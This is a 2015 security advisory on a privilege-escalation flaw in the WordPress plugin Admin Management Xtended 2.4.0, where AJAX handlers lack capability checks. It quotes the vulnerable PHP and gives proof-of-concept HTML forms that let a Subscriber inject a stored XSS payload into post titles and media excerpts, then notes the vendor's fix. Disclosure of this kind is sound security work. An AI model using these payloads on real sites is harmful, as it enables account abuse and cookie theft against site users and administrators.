14-12-2015 / Vulnerabilities

Admin Management Xtended 2.4.0 Privilege escalation

Inside almost all wp_ajax function there is no privilege check.

File: admin-management-xtended\general-functions.php

add_action( 'wp_ajax_ame_toggle_visibility', 'ame_toggle_visibility' );
add_action( 'wp_ajax_ame_set_date', 'ame_set_date' );
add_action( 'wp_ajax_ame_save_title', 'ame_save_title' );
add_action( 'wp_ajax_ame_save_slug', 'ame_save_slug' );
add_action( 'wp_ajax_ame_slug_edit', 'ame_slug_edit' );
add_action( 'wp_ajax_ame_save_order', 'ame_save_order' );
add_action( 'wp_ajax_ame_toggle_orderoptions', 'ame_toggle_orderoptions' );
add_action( 'wp_ajax_ame_toggle_showinvisposts', 'ame_toggle_showinvisposts' );
add_action( 'wp_ajax_ame_get_pageorder', 'ame_get_pageorder' );
add_action( 'wp_ajax_ame_ajax_save_categories', 'ame_ajax_save_categories' );
add_action( 'wp_ajax_ame_ajax_get_categories', 'ame_ajax_get_categories' );
add_action( 'wp_ajax_ame_ajax_set_commentstatus', 'ame_ajax_set_commentstatus' );
add_action( 'wp_ajax_ame_ajax_save_tags', 'ame_ajax_save_tags' );
add_action( 'wp_ajax_ame_ajax_toggle_imageset', 'ame_ajax_toggle_imageset' );
add_action( 'wp_ajax_ame_ajax_save_mediadesc', 'ame_ajax_save_mediadesc' );
add_action( 'wp_ajax_ame_author_edit', 'ame_author_edit' );
add_action( 'wp_ajax_ame_save_author', 'ame_save_author' );
add_action( 'wp_ajax_ame_toggle_excludestatus', 'ame_toggle_excludestatus' );
add_action( 'wp_ajax_ame_toggle_sticky', 'ame_toggle_sticky' );

So every registered user (even Subscriber) can change for example post title.

File: admin-management-xtended\general-functions.php

function ame_save_title() {
	global $wpdb;
	$postid = intval( $_POST['category_id'] );
	$new_title = $_POST['new_title'];
	$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_title = %s WHERE ID = %d", stripslashes( $new_title ), $postid ) );
	$new_title = apply_filters( 'the_title', $new_title );
	$post = get_post( $postid );
	AdminManagementXtended::fireActions( 'post', $postid, $post );
}

Or change post/media excerpt:

File: admin-management-xtended\general-functions.php

function ame_ajax_save_mediadesc() {
	global $wpdb;
	$postid = intval( $_POST['postid'] );
	$new_mediadesc = $_POST['new_mediadesc'];
	$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_excerpt = %s WHERE ID = %d", stripslashes( $new_mediadesc ), $postid ) );
}

Proof of Concept

Login as regular user (created using wp-login.php?action=register). Then you can change any post title:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=ame_save_title">
Post id: <input type="text" name="category_id" value="1">
Post title: <input type="text" name="new_title" value="<script>alert(document.cookie);</script>">
<input type="submit" name="submit" value="Change">
</form>

XSS will be visible on post page:

http://wordpress-url/?p=1

Or change media excerpt:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=ame_ajax_save_mediadesc">
Post id: <input type="text" name="postid" value="1">
Excerpt: <input type="text" name="new_mediadesc" value="<script>alert(document.cookie);</script>">
<input type="submit" name="submit" value="Change">
</form>

XSS will be visible for admin:

http://wordpress-url/wp-admin/upload.php

Timeline

  • 25-10-2015: Discovered
  • 25-10-2015: Vendor notified
  • 27-10-2015: Version 2.4.0.1 released, issue resolved